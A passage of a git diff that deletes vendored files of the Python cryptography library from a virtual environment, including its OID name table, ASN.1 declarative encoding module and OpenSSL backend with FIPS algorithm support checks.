HashAlgorithmOID.SHA3_384: "sha3_384", - HashAlgorithmOID.SHA3_512: "sha3_512", - HashAlgorithmOID.SHA3_224_NIST: "sha3_224", - HashAlgorithmOID.SHA3_256_NIST: "sha3_256", - HashAlgorithmOID.SHA3_384_NIST: "sha3_384", - HashAlgorithmOID.SHA3_512_NIST: "sha3_512", - PublicKeyAlgorithmOID.DSA: "dsaEncryption", - PublicKeyAlgorithmOID.EC_PUBLIC_KEY: "id-ecPublicKey", - PublicKeyAlgorithmOID.RSAES_PKCS1_v1_5: "rsaEncryption", - PublicKeyAlgorithmOID.X25519: "X25519", - PublicKeyAlgorithmOID.X448: "X448", - ExtendedKeyUsageOID.SERVER_AUTH: "serverAuth", - ExtendedKeyUsageOID.CLIENT_AUTH: "clientAuth", - ExtendedKeyUsageOID.CODE_SIGNING: "codeSigning", - ExtendedKeyUsageOID.EMAIL_PROTECTION: "emailProtection", - ExtendedKeyUsageOID.TIME_STAMPING: "timeStamping", - ExtendedKeyUsageOID.OCSP_SIGNING: "OCSPSigning", - ExtendedKeyUsageOID.SMARTCARD_LOGON: "msSmartcardLogin", - ExtendedKeyUsageOID.KERBEROS_PKINIT_KDC: "pkInitKDC", - ExtensionOID.SUBJECT_DIRECTORY_ATTRIBUTES: "subjectDirectoryAttributes", - ExtensionOID.SUBJECT_KEY_IDENTIFIER: "subjectKeyIdentifier", - ExtensionOID.KEY_USAGE: "keyUsage", - ExtensionOID.PRIVATE_KEY_USAGE_PERIOD: "privateKeyUsagePeriod", - ExtensionOID.SUBJECT_ALTERNATIVE_NAME: "subjectAltName", - ExtensionOID.ISSUER_ALTERNATIVE_NAME: "issuerAltName", - ExtensionOID.BASIC_CONSTRAINTS: "basicConstraints", - ExtensionOID.PRECERT_SIGNED_CERTIFICATE_TIMESTAMPS: ( - "signedCertificateTimestampList" - ), - ExtensionOID.SIGNED_CERTIFICATE_TIMESTAMPS: ( - "signedCertificateTimestampList" - ), - ExtensionOID.PRECERT_POISON: "ctPoison", - ExtensionOID.MS_CERTIFICATE_TEMPLATE: "msCertificateTemplate", - ExtensionOID.ADMISSIONS: "Admissions", - CRLEntryExtensionOID.CRL_REASON: "cRLReason", - CRLEntryExtensionOID.INVALIDITY_DATE: "invalidityDate", - CRLEntryExtensionOID.CERTIFICATE_ISSUER: "certificateIssuer", - ExtensionOID.NAME_CONSTRAINTS: "nameConstraints", - ExtensionOID.CRL_DISTRIBUTION_POINTS: "cRLDistributionPoints", - ExtensionOID.CERTIFICATE_POLICIES: "certificatePolicies", - ExtensionOID.POLICY_MAPPINGS: "policyMappings", - ExtensionOID.AUTHORITY_KEY_IDENTIFIER: "authorityKeyIdentifier", - ExtensionOID.POLICY_CONSTRAINTS: "policyConstraints", - ExtensionOID.EXTENDED_KEY_USAGE: "extendedKeyUsage", - ExtensionOID.FRESHEST_CRL: "freshestCRL", - ExtensionOID.INHIBIT_ANY_POLICY: "inhibitAnyPolicy", - ExtensionOID.ISSUING_DISTRIBUTION_POINT: "issuingDistributionPoint", - ExtensionOID.AUTHORITY_INFORMATION_ACCESS: "authorityInfoAccess", - ExtensionOID.SUBJECT_INFORMATION_ACCESS: "subjectInfoAccess", - ExtensionOID.OCSP_NO_CHECK: "OCSPNoCheck", - ExtensionOID.CRL_NUMBER: "cRLNumber", - ExtensionOID.DELTA_CRL_INDICATOR: "deltaCRLIndicator", - ExtensionOID.TLS_FEATURE: "TLSFeature", - AuthorityInformationAccessOID.OCSP: "OCSP", - AuthorityInformationAccessOID.CA_ISSUERS: "caIssuers", - SubjectInformationAccessOID.CA_REPOSITORY: "caRepository", - CertificatePoliciesOID.CPS_QUALIFIER: "id-qt-cps", - CertificatePoliciesOID.CPS_USER_NOTICE: "id-qt-unotice", - OCSPExtensionOID.NONCE: "OCSPNonce", - AttributeOID.CHALLENGE_PASSWORD: "challengePassword", -} diff --git a/venv/Lib/site-packages/cryptography/hazmat/asn1/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/asn1/__init__.py deleted file mode 100644 index d19e2a6034ee6d8a997a94267a77a4ddda61470e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/asn1/__init__.py +++ /dev/null @@ -1,47 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.asn1.asn1 import ( - TLV, - BitString, - Default, - Explicit, - GeneralizedTime, - IA5String, - Implicit, - Null, - PrintableString, - SetOf, - Size, - UTCTime, - Variant, - decode_der, - encode_der, - sequence, - set, - value_set, -) - -__all__ = [ - "TLV", - "BitString", - "Default", - "Explicit", - "GeneralizedTime", - "IA5String", - "Implicit", - "Null", - "PrintableString", - "SetOf", - "Size", - "UTCTime", - "Variant", - "decode_der", - "encode_der", - "sequence", - "set", - "value_set", -] diff --git a/venv/Lib/site-packages/cryptography/hazmat/asn1/asn1.py b/venv/Lib/site-packages/cryptography/hazmat/asn1/asn1.py deleted file mode 100644 index 62d38110e2a5cff4b2310f726073cc12ece2a9ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/asn1/asn1.py +++ /dev/null @@ -1,533 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import builtins -import dataclasses -import enum -import sys -import types -import typing - -if sys.version_info < (3, 11): - import typing_extensions - - LiteralString = typing_extensions.LiteralString -else: - LiteralString = typing.LiteralString - -from cryptography.hazmat.bindings._rust import declarative_asn1 -from cryptography.hazmat.bindings._rust import x509 as rust_x509 - -if sys.version_info < (3, 10): - NoneType = type(None) -else: - NoneType = types.NoneType # type: ignore[nonetype-type] - -T = typing.TypeVar("T", covariant=True) -U = typing.TypeVar("U") -Tag = typing.TypeVar("Tag", bound=LiteralString) - - -@dataclasses.dataclass(frozen=True) -class Variant(typing.Generic[U, Tag]): - """ - A tagged variant for CHOICE fields with the same underlying type. - - Use this when you have multiple CHOICE alternatives with the same type - and need to distinguish between them: - - foo: ( - Annotated[Variant[int, typing.Literal["IntA"]], Implicit(0)] - | Annotated[Variant[int, typing.Literal["IntB"]], Implicit(1)] - ) - - Usage: - example = Example(foo=Variant(5, "IntA")) - decoded.foo.value # The int value - decoded.foo.tag # "IntA" or "IntB" - """ - - value: U - tag: str - - -decode_der = declarative_asn1.decode_der -encode_der = declarative_asn1.encode_der - - -_X509_TYPES = ( - rust_x509.Certificate, - rust_x509.CertificateSigningRequest, - rust_x509.CertificateRevocationList, -) - - -def _check_x509_field_annotations( - field_type: typing.Any, - annotation: declarative_asn1.Annotation, - field_name: str, -) -> None: - if field_type in _X509_TYPES and isinstance(annotation.encoding, Implicit): - raise TypeError( - f"field '{field_name}' has an IMPLICIT annotation, but " - "IMPLICIT annotations are not supported for X.509 types." - ) - - -def _is_union(field_type: type) -> bool: - # NOTE: types.UnionType for `T | U`, typing.Union for `Union[T, U]`. - # TODO: Drop the `hasattr()` once the minimum supported Python version - # is >= 3.10. - union_types = ( - (types.UnionType, typing.Union) - if hasattr(types, "UnionType") - else (typing.Union,) - ) - return typing.get_origin(field_type) in union_types - - -def _resolve_type_aliases(field_type: typing.Any) -> typing.Any: - # Recursively resolve PEP 695 (`type X = ...`) type aliases (Python - # 3.12+) to their underlying value, so that the rest of the - # normalization logic never encounters an alias. Aliases can refer - # to other aliases and can appear at any level of nesting (e.g. - # inside `Annotated[...]`, unions, or `list[...]`). - if sys.version_info < (3, 12): - return field_type - - while isinstance(field_type, typing.TypeAliasType): - field_type = field_type.__value__ - - args = typing.get_args(field_type) - resolved_args = tuple(_resolve_type_aliases(arg) for arg in args) - if resolved_args == args: - # No aliases anywhere inside: return the type unchanged. - return field_type - - if _is_union(field_type): - # `X | Y` unions can't be rebuilt through their origin like - # other generics below: `typing.get_origin` returns - # `types.UnionType` for them, which is only subscriptable on - # Python 3.14+. Rebuilding through `typing.Union` also - # flattens any nested union introduced by an alias of a union - # (e.g. `Time | int` where `type Time = UTCTime | - # GeneralizedTime`), just like `typing.Union` would have done - # if the alias had been written inline. - return typing.Union[resolved_args] - - # An alias appeared inside a generic (e.g. `Annotated[Time, ...]`, - # `list[MyInt]`, or `SetOf[MyInt]`): re-parameterize the generic - # with the resolved arguments. Subscripting with a tuple is - # equivalent to subscripting with multiple arguments. - return typing.get_origin(field_type)[resolved_args] - - -def _extract_annotation( - metadata: tuple, field_name: str -) -> declarative_asn1.Annotation: - default = None - encoding = None - size = None - for raw_annotation in metadata: - if isinstance(raw_annotation, Default): - if default is not None: - raise TypeError( - f"multiple DEFAULT annotations found in field " - f"'{field_name}'" - ) - default = raw_annotation.value - elif isinstance(raw_annotation, declarative_asn1.Encoding): - if encoding is not None: - raise TypeError( - f"multiple IMPLICIT/EXPLICIT annotations found in field " - f"'{field_name}'" - ) - encoding = raw_annotation - elif isinstance(raw_annotation, declarative_asn1.Size): - if size is not None: - raise TypeError( - f"multiple SIZE annotations found in field '{field_name}'" - ) - size = raw_annotation - else: - raise TypeError(f"unsupported annotation: {raw_annotation}") - - return declarative_asn1.Annotation( - default=default, encoding=encoding, size=size - ) - - -def _normalize_field_type( - field_type: typing.Any, field_name: str -) -> declarative_asn1.AnnotatedType: - field_type = _resolve_type_aliases(field_type) - - # Strip the `Annotated[...]` off, and populate the annotation - # from it if it exists. - if typing.get_origin(field_type) is typing.Annotated: - annotation = _extract_annotation(field_type.__metadata__, field_name) - field_type, *_ = typing.get_args(field_type) - else: - annotation = declarative_asn1.Annotation() - - if annotation.size is not None and ( - typing.get_origin(field_type) not in (builtins.list, SetOf) - and field_type - not in ( - builtins.bytes, - builtins.str, - BitString, - IA5String, - PrintableString, - ) - ): - raise TypeError( - f"field '{field_name}' has a SIZE annotation, but SIZE " - "annotations are only supported for fields of types: " - "[SEQUENCE OF, SET OF, BIT STRING, OCTET STRING, UTF8String, " - "PrintableString, IA5String]" - ) - - if field_type is TLV: - if isinstance(annotation.encoding, Implicit): - raise TypeError( - f"field '{field_name}' has an IMPLICIT annotation, but " - "IMPLICIT annotations are not supported for TLV types." - ) - elif annotation.default is not None: - raise TypeError( - f"field '{field_name}' has a DEFAULT annotation, but " - "DEFAULT annotations are not supported for TLV types." - ) - - _check_x509_field_annotations(field_type, annotation, field_name) - - if hasattr(field_type, "__asn1_root__"): - root_type = field_type.__asn1_root__ - if not isinstance( - root_type, - ( - declarative_asn1.Type.Sequence, - declarative_asn1.Type.Set, - declarative_asn1.Type.ValueSet, - ), - ): - raise TypeError(f"unsupported root type: {root_type}") - return declarative_asn1.AnnotatedType( - typing.cast(declarative_asn1.Type, root_type), annotation - ) - elif _is_union(field_type): - union_args = typing.get_args(field_type) - if len(union_args) == 2 and NoneType in union_args: - # A Union between a type and None is an OPTIONAL - optional_type = ( - union_args[0] if union_args[1] is type(None) else union_args[1] - ) - if optional_type is TLV: - raise TypeError( - "optional TLV types (`TLV | None`) are not " - "currently supported" - ) - # For optional types, the annotation is associated with the - # union, so we check it against the inner type here. - _check_x509_field_annotations( - optional_type, annotation, field_name - ) - annotated_type = _normalize_field_type(optional_type, field_name) - - if not annotated_type.annotation.is_empty(): - raise TypeError( - "optional (`X | None`) types cannot have `X` " - "annotated: annotations must apply to the union " - "(i.e: `Annotated[X | None, annotation]`)" - ) - - if annotation.default is not None: - raise TypeError( - "optional (`X | None`) types should not have a DEFAULT " - "annotation" - ) - - rust_field_type = declarative_asn1.Type.Option(annotated_type) - - else: - # Otherwise, the Union is a CHOICE - if isinstance(annotation.encoding, Implicit): - # CHOICEs cannot be IMPLICIT. See X.680 section 31.2.9. - raise TypeError( - "CHOICE (`X | Y | ...`) types should not have an IMPLICIT " - "annotation" - ) - variants = [ - _type_to_variant(arg, field_name) - for arg in union_args - if arg is not type(None) - ] - - # Union types should either be all Variants - # (`Variant[..] | Variant[..] | etc`) or all non Variants - are_union_types_tagged = variants[0].tag_name is not None - if any( - (v.tag_name is not None) != are_union_types_tagged - for v in variants - ): - raise TypeError( - "When using `asn1.Variant` in a union, all the other " - "types in the union must also be `asn1.Variant`" - ) - - if are_union_types_tagged: - tags = {v.tag_name for v in variants} - if len(variants) != len(tags): - raise TypeError( - "When using `asn1.Variant` in a union, the tags used " - "must be unique" - ) - - rust_choice_type = declarative_asn1.Type.Choice(variants) - # If None is part of the union types, this is an OPTIONAL CHOICE - rust_field_type = ( - declarative_asn1.Type.Option( - declarative_asn1.AnnotatedType( - rust_choice_type, declarative_asn1.Annotation() - ) - ) - if NoneType in union_args - else rust_choice_type - ) - - elif typing.get_origin(field_type) is builtins.list: - inner_type = _normalize_field_type( - typing.get_args(field_type)[0], field_name - ) - rust_field_type = declarative_asn1.Type.SequenceOf(inner_type) - elif typing.get_origin(field_type) is SetOf: - inner_type = _normalize_field_type( - typing.get_args(field_type)[0], field_name - ) - rust_field_type = declarative_asn1.Type.SetOf(inner_type) - else: - rust_field_type = declarative_asn1.non_root_python_to_rust(field_type) - - return declarative_asn1.AnnotatedType(rust_field_type, annotation) - - -# Convert a type to a Variant. Used with types inside Union -# annotations (T1, T2, etc in `Union[T1, T2, ...]`). -def _type_to_variant( - t: typing.Any, field_name: str -) -> declarative_asn1.Variant: - is_annotated = typing.get_origin(t) is typing.Annotated - inner_type = typing.get_args(t)[0] if is_annotated else t - - # Check if this is a Variant[T, Tag] type - if typing.get_origin(inner_type) is Variant: - value_type, tag_literal = typing.get_args(inner_type) - if typing.get_origin(tag_literal) is not typing.Literal: - raise TypeError( - "When using `asn1.Variant` in a type annotation, the second " - "type parameter must be a `typing.Literal` type. E.g: " - '`Variant[int, typing.Literal["MyInt"]]`.' - ) - tag_name = typing.get_args(tag_literal)[0] - - if hasattr(value_type, "__asn1_root__"): - rust_type = value_type.__asn1_root__ - else: - rust_type = declarative_asn1.non_root_python_to_rust(value_type) - - if is_annotated: - ann_type = declarative_asn1.AnnotatedType( - rust_type, - _extract_annotation(t.__metadata__, field_name), - ) - else: - ann_type = declarative_asn1.AnnotatedType( - rust_type, - declarative_asn1.Annotation(), - ) - - return declarative_asn1.Variant(Variant, ann_type, tag_name) - else: - # Plain type (not a tagged Variant) - return declarative_asn1.Variant( - inner_type, - _normalize_field_type(t, field_name), - None, - ) - - -def _annotate_fields( - raw_fields: dict[str, type], -) -> dict[str, declarative_asn1.AnnotatedType]: - fields = {} - for field_name, field_type in raw_fields.items(): - # Recursively normalize the field type into something that the - # Rust code can understand. - annotated_field_type = _normalize_field_type(field_type, field_name) - fields[field_name] = annotated_field_type - - return fields - - -def _register_asn1_sequence(cls: type[U]) -> None: - raw_fields = typing.get_type_hints(cls, include_extras=True) - root = declarative_asn1.Type.Sequence(cls, _annotate_fields(raw_fields)) - - setattr(cls, "__asn1_root__", root) - - -def _register_asn1_set(cls: type[U]) -> None: - raw_fields = typing.get_type_hints(cls, include_extras=True) - root = declarative_asn1.Type.Set(cls, _annotate_fields(raw_fields)) - - setattr(cls, "__asn1_root__", root) - - -# Due to https://github.com/python/mypy/issues/19731, we can't define an alias -# for `dataclass_transform` that conditionally points to `typing` or -# `typing_extensions` depending on the Python version. We work around it by -# making the whole decorated class conditional on the Python version. -if sys.version_info < (3, 11): - - @typing_extensions.dataclass_transform(kw_only_default=True) - def sequence(cls: type[U]) -> type[U]: - # We use `dataclasses.dataclass` to add an __init__ method - # to the class with keyword-only parameters. - if sys.version_info >= (3, 10): - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - # `match_args` was added in Python 3.10 and defaults - # to True - match_args=False, - # `kw_only` was added in Python 3.10 and defaults to - # False - kw_only=True, - )(cls) - else: - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - )(cls) - _register_asn1_sequence(dataclass_cls) - return dataclass_cls - - @typing_extensions.dataclass_transform(kw_only_default=True) - def set(cls: type[U]) -> type[U]: - # We use `dataclasses.dataclass` to add an __init__ method - # to the class with keyword-only parameters. - if sys.version_info >= (3, 10): - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - # `match_args` was added in Python 3.10 and defaults - # to True - match_args=False, - # `kw_only` was added in Python 3.10 and defaults to - # False - kw_only=True, - )(cls) - else: - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - )(cls) - _register_asn1_set(dataclass_cls) - return dataclass_cls - -else: - - @typing.dataclass_transform(kw_only_default=True) - def sequence(cls: type[U]) -> type[U]: - # Only add an __init__ method, with keyword-only - # parameters. - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - match_args=False, - kw_only=True, - )(cls) - _register_asn1_sequence(dataclass_cls) - return dataclass_cls - - @typing.dataclass_transform(kw_only_default=True) - def set(cls: type[U]) -> type[U]: - # Only add an __init__ method, with keyword-only - # parameters. - dataclass_cls = dataclasses.dataclass( - repr=False, - eq=False, - match_args=False, - kw_only=True, - )(cls) - _register_asn1_set(dataclass_cls) - return dataclass_cls - - -def value_set( - value_type: type, -) -> typing.Callable[[type[U]], type[U]]: - """ - A class decorator that registers an `enum.Enum` subclass as an - ASN.1 value set of the given underlying type. All the member - values must be instances of `value_type`. Members are encoded as - their value; decoding fails if the decoded value does not match - any member. - """ - rust_type = declarative_asn1.non_root_python_to_rust(value_type) - - def decorator(cls: type[U]) -> type[U]: - if not issubclass(cls, enum.Enum): - raise TypeError( - "value sets can only be defined from enum.Enum subclasses" - ) - members = list(cls) - if not members: - raise TypeError( - f"value set '{cls.__name__}' must have at least one member" - ) - for member in members: - if not isinstance(member.value, value_type): - raise TypeError( - f"member '{member.name}' of value set '{cls.__name__}' " - f"must have a value of type " - f"'{value_type.__name__}', got: " - f"'{type(member.value).__name__}'" - ) - inner = declarative_asn1.AnnotatedType( - rust_type, declarative_asn1.Annotation() - ) - # Map from member value to member, used for O(1) lookups when - # decoding. This requires the member values to be hashable. - value_map = {member.value: member for member in members} - root = declarative_asn1.Type.ValueSet(cls, inner, value_map) - - setattr(cls, "__asn1_root__", root) - return cls - - return decorator - - -# TODO: replace with `Default[U]` once the min Python version is >= 3.12 -@dataclasses.dataclass(frozen=True) -class Default(typing.Generic[U]): - value: U - - -SetOf = declarative_asn1.SetOf - -Explicit = declarative_asn1.Encoding.Explicit -Implicit = declarative_asn1.Encoding.Implicit -Size = declarative_asn1.Size - -PrintableString = declarative_asn1.PrintableString -IA5String = declarative_asn1.IA5String -UTCTime = declarative_asn1.UTCTime -GeneralizedTime = declarative_asn1.GeneralizedTime -BitString = declarative_asn1.BitString -TLV = declarative_asn1.Tlv -Null = declarative_asn1.Null diff --git a/venv/Lib/site-packages/cryptography/hazmat/backends/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/backends/__init__.py deleted file mode 100644 index b4400aa037451d10d6bcadd455dcf98f9b72e221..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/backends/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from typing import Any - - -def default_backend() -> Any: - from cryptography.hazmat.backends.openssl.backend import backend - - return backend diff --git a/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/__init__.py deleted file mode 100644 index 51b04476cbb7f4a98051f2fc55bcc1aa35e22d05..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.backends.openssl.backend import backend - -__all__ = ["backend"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/backend.py b/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/backend.py deleted file mode 100644 index 0d02c4f6e9640fb8cf5fdcf66faf104ed0bed145..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/backends/openssl/backend.py +++ /dev/null @@ -1,309 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.bindings.openssl import binding -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives._asymmetric import AsymmetricPadding -from cryptography.hazmat.primitives.asymmetric import ec -from cryptography.hazmat.primitives.asymmetric import utils as asym_utils -from cryptography.hazmat.primitives.asymmetric.padding import ( - MGF1, - OAEP, - PSS, - PKCS1v15, -) -from cryptography.hazmat.primitives.ciphers import ( - CipherAlgorithm, -) -from cryptography.hazmat.primitives.ciphers.algorithms import ( - AES, -) -from cryptography.hazmat.primitives.ciphers.modes import ( - CBC, - Mode, -) - - -class Backend: - """ - OpenSSL API binding interfaces. - """ - - name = "openssl" - - # TripleDES encryption is disallowed/deprecated throughout 2023 in - # FIPS 140-3. To keep it simple we denylist any use of TripleDES (TDEA). - _fips_ciphers = (AES,) - # Sometimes SHA1 is still permissible. That logic is contained - # within the various *_supported methods. - _fips_hashes = ( - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, - hashes.SHA512_224, - hashes.SHA512_256, - hashes.SHA3_224, - hashes.SHA3_256, - hashes.SHA3_384, - hashes.SHA3_512, - hashes.SHAKE128, - hashes.SHAKE256, - ) - _fips_ecdh_curves = ( - ec.SECP224R1, - ec.SECP256R1, - ec.SECP384R1, - ec.SECP521R1, - ) - _fips_rsa_min_key_size = 2048 - _fips_rsa_min_public_exponent = 65537 - _fips_dsa_min_modulus = 1 << 2048 - _fips_dh_min_key_size = 2048 - _fips_dh_min_modulus = 1 << _fips_dh_min_key_size - - def __init__(self) -> None: - self._binding = binding.Binding() - self._ffi = self._binding.ffi - self._lib = self._binding.lib - self._fips_enabled = rust_openssl.is_fips_enabled() - - def __repr__(self) -> str: - return ( - f"" - ) - - def openssl_assert(self, ok: bool) -> None: - return binding._openssl_assert(ok) - - def _enable_fips(self) -> None: - # This function enables FIPS mode for OpenSSL 3.0.0 on installs that - # have the FIPS provider installed properly. - rust_openssl.enable_fips(rust_openssl._providers) - assert rust_openssl.is_fips_enabled() - self._fips_enabled = rust_openssl.is_fips_enabled() - - def openssl_version_text(self) -> str: - """ - Friendly string name of the loaded OpenSSL library. This is not - necessarily the same version as it was compiled against. - - Example: OpenSSL 3.2.1 30 Jan 2024 - """ - return rust_openssl.openssl_version_text() - - def openssl_version_number(self) -> int: - return rust_openssl.openssl_version() - - def hash_supported(self, algorithm: hashes.HashAlgorithm) -> bool: - if self._fips_enabled and not isinstance(algorithm, self._fips_hashes): - return False - - return rust_openssl.hashes.hash_supported(algorithm) - - def signature_hash_supported( - self, algorithm: hashes.HashAlgorithm - ) -> bool: - # Dedicated check for hashing algorithm use in message digest for - # signatures, e.g. RSA PKCS#1 v1.5 SHA1 (sha1WithRSAEncryption). - if self._fips_enabled and isinstance(algorithm, hashes.SHA1): - return False - return self.hash_supported(algorithm) - - def scrypt_supported(self) -> bool: - if self._fips_enabled: - return False - else: - return hasattr(rust_openssl.kdf.Scrypt, "derive") - - def argon2_supported(self) -> bool: - if self._fips_enabled: - return False - else: - return hasattr(rust_openssl.kdf.Argon2id, "derive") - - def hmac_supported(self, algorithm: hashes.HashAlgorithm) -> bool: - # FIPS mode still allows SHA1 for HMAC - if self._fips_enabled and isinstance(algorithm, hashes.SHA1): - return True - if rust_openssl.CRYPTOGRAPHY_IS_AWSLC: - return isinstance( - algorithm, - ( - hashes.MD5, - hashes.SHA1, - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, - hashes.SHA512_224, - hashes.SHA512_256, - hashes.SHA3_224, - hashes.SHA3_256, - hashes.SHA3_384, - hashes.SHA3_512, - ), - ) - return self.hash_supported(algorithm) - - def cipher_supported(self, cipher: CipherAlgorithm, mode: Mode) -> bool: - if self._fips_enabled: - # FIPS mode requires AES. TripleDES is disallowed/deprecated in - # FIPS 140-3. - if not isinstance(cipher, self._fips_ciphers): - return False - - return rust_openssl.ciphers.cipher_supported(cipher, mode) - - def _consume_errors(self) -> list[rust_openssl.OpenSSLError]: - return rust_openssl.capture_error_stack() - - def _oaep_hash_supported(self, algorithm: hashes.HashAlgorithm) -> bool: - if self._fips_enabled and isinstance(algorithm, hashes.SHA1): - return False - - return isinstance( - algorithm, - ( - hashes.SHA1, - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, - ), - ) - - def rsa_padding_supported(self, padding: AsymmetricPadding) -> bool: - if isinstance(padding, PKCS1v15): - return True - elif isinstance(padding, PSS) and isinstance(padding._mgf, MGF1): - # FIPS 186-4 only allows salt length == digest length for PSS - # It is technically acceptable to set an explicit salt length - # equal to the digest length and this will incorrectly fail, but - # since we don't do that in the tests and this method is - # private, we'll ignore that until we need to do otherwise. - if ( - self._fips_enabled - and padding._salt_length != PSS.DIGEST_LENGTH - ): - return False - return self.hash_supported(padding._mgf._algorithm) - elif isinstance(padding, OAEP) and isinstance(padding._mgf, MGF1): - return self._oaep_hash_supported( - padding._mgf._algorithm - ) and self._oaep_hash_supported(padding._algorithm) - else: - return False - - def rsa_encryption_supported(self, padding: AsymmetricPadding) -> bool: - if self._fips_enabled and isinstance(padding, PKCS1v15): - return False - else: - return self.rsa_padding_supported(padding) - - def dsa_supported(self) -> bool: - return ( - not rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - and not self._fips_enabled - ) - - def dsa_hash_supported(self, algorithm: hashes.HashAlgorithm) -> bool: - if not self.dsa_supported(): - return False - return self.signature_hash_supported(algorithm) - - def cmac_algorithm_supported(self, algorithm) -> bool: - return self.cipher_supported( - algorithm, CBC(b"\x00" * algorithm.block_size) - ) - - def elliptic_curve_supported(self, curve: ec.EllipticCurve) -> bool: - if self._fips_enabled and not isinstance( - curve, self._fips_ecdh_curves - ): - return False - - return rust_openssl.ec.curve_supported(curve) - - def elliptic_curve_signature_algorithm_supported( - self, - signature_algorithm: ec.EllipticCurveSignatureAlgorithm, - curve: ec.EllipticCurve, - ) -> bool: - # We only support ECDSA right now. - if not isinstance(signature_algorithm, ec.ECDSA): - return False - - return self.elliptic_curve_supported(curve) and ( - isinstance(signature_algorithm.algorithm, asym_utils.Prehashed) - or self.hash_supported(signature_algorithm.algorithm) - ) - - def elliptic_curve_exchange_algorithm_supported( - self, algorithm: ec.ECDH, curve: ec.EllipticCurve - ) -> bool: - return self.elliptic_curve_supported(curve) and isinstance( - algorithm, ec.ECDH - ) - - def dh_supported(self) -> bool: - return not rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - - def dh_x942_serialization_supported(self) -> bool: - return self._lib.Cryptography_HAS_EVP_PKEY_DHX == 1 - - def x25519_supported(self) -> bool: - return not self._fips_enabled - - def x448_supported(self) -> bool: - if self._fips_enabled: - return False - return ( - not rust_openssl.CRYPTOGRAPHY_IS_LIBRESSL - and not rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - and not rust_openssl.CRYPTOGRAPHY_IS_AWSLC - ) - - def mlkem_supported(self) -> bool: - return ( - rust_openssl.CRYPTOGRAPHY_IS_AWSLC - or rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - or rust_openssl.CRYPTOGRAPHY_OPENSSL_350_OR_GREATER - ) - - def mldsa_supported(self) -> bool: - return ( - rust_openssl.CRYPTOGRAPHY_IS_AWSLC - or rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - or rust_openssl.CRYPTOGRAPHY_OPENSSL_350_OR_GREATER - ) - - def ed25519_supported(self) -> bool: - return True - - def ed448_supported(self) -> bool: - return ( - not rust_openssl.CRYPTOGRAPHY_IS_LIBRESSL - and not rust_openssl.CRYPTOGRAPHY_IS_BORINGSSL - and not rust_openssl.CRYPTOGRAPHY_IS_AWSLC - ) - - def ecdsa_deterministic_supported(self) -> bool: - return ( - rust_openssl.CRYPTOGRAPHY_OPENSSL_320_OR_GREATER - and not self._fips_enabled - ) - - def poly1305_supported(self) -> bool: - if rust_openssl.CRYPTOGRAPHY_IS_AWSLC: - return True - return not self._fips_enabled - - -backend = Backend() diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/bindings/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust.pyd b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust.pyd deleted file mode 100644 index 063b383986525d4090662a59d723bae0f96259c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust.pyd +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:05fefb14b1cb1c90bcccce87e82d205f5f2396977bf911243972790ba2376849 -size 9935360 diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/__init__.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/__init__.pyi deleted file mode 100644 index c3148f12bd0422e88b6abddc98016534d512a14c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/__init__.pyi +++ /dev/null @@ -1,67 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 